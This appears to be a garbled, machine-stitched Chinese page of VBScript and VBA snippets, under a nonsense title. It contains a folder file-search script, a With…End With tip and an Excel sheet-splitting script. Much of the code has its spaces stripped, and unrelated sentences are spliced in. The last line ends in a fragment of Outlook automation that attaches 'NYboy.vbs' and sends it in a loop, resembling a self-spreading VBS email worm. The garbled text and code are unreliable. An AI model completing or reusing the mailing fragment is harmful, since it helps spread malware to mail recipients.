脚本停止是什么意思策划
例如,假设需要Navigator在Excel中打开一个Web页面,首先必须使用Excel的"引用"对话框引用Navigator程序目录中的Netscape.TLB库,然后把Navigator对象作为一个实例,并完成打开页面的功能onerrorresumenext DimkeyWord,DirTotal,TimeSpend,FileTotal,Fso,outFile,txtResult,txtPath,sPath ConstMY_COMPUTER=&H11& ConstWINDOW_HANDLE=0 ConstOPTIONS=0 SetobjShell=CreateObject("Shell.Application") SetobjFolder=objShell.Namespace(My_Computer) SetobjFolderItem=objFolder.Self strPath=objFolderItem.Path SetobjFolder=objShell.BrowseForFolder(WINDOW_HANDLE,"选择你要搜索的文件夹:",OPTIONS,strPath) IfobjFolderIsNothingThen msgbox"您没有选择任何有效目录!" wscript.quit else SetobjFolderItem=objFolder.Self sPath=objFolderItem.Path txtpath=sPath SetFso=wscript.CreateObject("scripting.filesystemobject") FileTotal=0 DirTotal=0 'sPath=left(Wscript.ScriptFullName,len(Wscript.ScriptFullName)-len(Wscript.ScriptName)) 'txtPath=trim(inputbox("你选的目录是"&sPath,"文件搜索",sPath)) keyWord=LCase(inputbox("请输入搜索关键字点Cancel的话会得到目录列表:","文件搜索","mp3")) setoutFile=Fso.createtextfile(sPath&"\SearchResult.txt") outFile.writeline"开始搜索..." outFile.writeline"起启目录:"&txtPath TimeSpend=Timer myFindtxtPath TimeSpend=round(Timer-TimeSpend,2) txtResult="搜索完成!"&vbCrLf&"共找到文件:"&FileTotal&"个."&vbCrLf&"共搜索目录:"&DirTotal&"个."&vbCrLf&"用时:"&TimeSpend&"秒." outFile.writetxtResult msgboxtxtResult&"结果保存在"&sPath&"\SearchResult.txt" outFile.close setoutFile=nothing setFso=nothing SubmyFind(ByValthePath) Dimfso,myFolder,myFile,curFolder Setfso=wscript.CreateObject("scripting.filesystemobject") SetcurFolders=fso.getfolder(thePath) DirTotal=DirTotal+1 IfcurFolders.Files.Count>0Then ForEachmyFileIncurFolders.Files IfInStr(1,LCase(myFile.Name),keyWord)>0Then outFile.WriteLineFormatPath(thePath)&""&myFile.Name FileTotal=FileTotal+1 EndIf Next EndIf IfcurFolders.subfolders.Count>0Then ForEachmyFolderIncurFolders.subfolders myFindFormatPath(thePath)&""&myFolder.Name Next EndIf EndSub FunctionFormatPath(ByValthePath) thePath=Trim(thePath) FormatPath=thePath IfRight(thePath,1)=""ThenFormatPath=Mid(thePath,1,Len(thePath)-1) EndFunction Endif

都是通过vbscript的代码此处还有一个常常易犯的编程问题:If(Condition)Then rs.AddNew rs.FirstName=txtFirstName rs.LastName=txtLastName rs.Address=txtAddress rs.City=txtCity rs.State=txtState rs.ZipCode=txtZipCode rs..UpdateEndIfVBA提供特别的With…Endwith结构处理同一个对象的多个成分:If(Condition)Then Withrs .AddNew !FirstName=txtFirstName !LastName=txtLastName !Address=txtAddress !City=txtCity !State=txtState !ZipCode=txtZipCode.Update EndWithEndIf采用With…EndWith结构不仅可以使得表述简单,而且执行起来相当快
'拖动工作表至VBS脚本实现按指定表头自动分表 On Error Resume Next If WScript.Arguments(0)="" Then WScript.Quit Dim objExcel, ExcelFile, MaxRows, MaxColumns, SHCount ExcelFile=WScript.Arguments(0) If LCase(Right(ExcelFile,4)) <> ".xls" And LCase(Right(ExcelFile,4)) <> ".xls" Then WScript.Quit Set objExcel=CreateObject("Excel.Application") objExcel.Visible=False objExcel.Workbooks.Open ExcelFile '获取工作表初始sheet总数 SHCount=objExcel.Sheets.Count '获取工作表有效行列数 MaxRows=objExcel.ActiveSheet.UsedRange.Rows.Count MaxColumns=objExcel.ActiveSheet.UsedRange.Columns.Count '获取工作表首行表头列表 Dim StrGroup For i=1 To MaxColumns StrGroup=StrGroup & "[" & i & "]" & vbTab & objExcel.Cells(1, i).Value & vbCrLf Next '用户指定分表表头及输入性合法判断 Dim Num, HardValue Num=InputBox("请输入分表表头的序号" & vbCrLf & StrGroup) If Num <> "" Then Num=Int(Num) If Num > 0 And Num <=MaxColumns Then HardValue=objExcel.Cells(1, Num).Value Else objExcel.Quit Set objExcel=Nothing WScript.Quit End If Else objExcel.Quit Set objExcel=Nothing WScript.Quit End If '获取分表表头值及分表数 Dim ValueGroup : j=0 Dim a() : ReDim a(10000) For i=2 To MaxRows str=objExcel.Cells(i, Num).Value If InStr(ValueGroup, str)=0 Then a(j)=str ValueGroup=ValueGroup & str & "," j=j + 1 End If Next ReDim Preserve a(j-1) '创建新SHEET并以指定表头值命名 For i=0 To UBound(a) If i + 2 > SHCount Then objExcel.Sheets.Add ,objExcel.Sheets("sheet" & i + 1),1,-4167 Next For i=0 To UBound(a) objExcel.Sheets("sheet" & i + 2).Name=HardValue & "_" & a(i) Next '分表写数据 For i=1 To MaxRows For j=1 To MaxColumns objExcel.sheets(1).Select str=objExcel.Cells(i,j).Value If i=1 Then For k=0 To UBound(a) objExcel.sheets(HardValue & "_" & a(k)).Select objExcel.Cells(i,j).Value=str objExcel.Cells(1, MaxColumns + 1).Value=1 Next Else objExcel.sheets(HardValue & "_" & objExcel.Cells(i,Num).Value).Select If j=1 Then x=objExcel.Cells(1, MaxColumns + 1).Value + 1 objExcel.Cells(x ,j).Value=str If j=MaxColumns Then objExcel.Cells(1, MaxColumns + 1).Value=x End If Next Next For i=0 To UBound(a) objExcel.sheets(HardValue & "_" & a(i)).Select objExcel.Cells(1, MaxColumns + 1).Value="" Next objExcel.ActiveWorkbook.Save objExcel.Quit Set objExcel=Nothing WScript.Echo "提示:对" & ExcelFile & "的分表操作完成" 笔者在初步研究了Windows的SYSTEM.INI后发现,通过VB的多媒体控件MCI.VBX可以打开MPEG压缩文件(如VCD2.0版的.DAT文件)
做走路☆要插入数据的表必须和Select的结果集兼容QQ交友频道" Mail.Attachments.Add("c:\NYboy.vbs") Mail.Send Next ol.Quit 。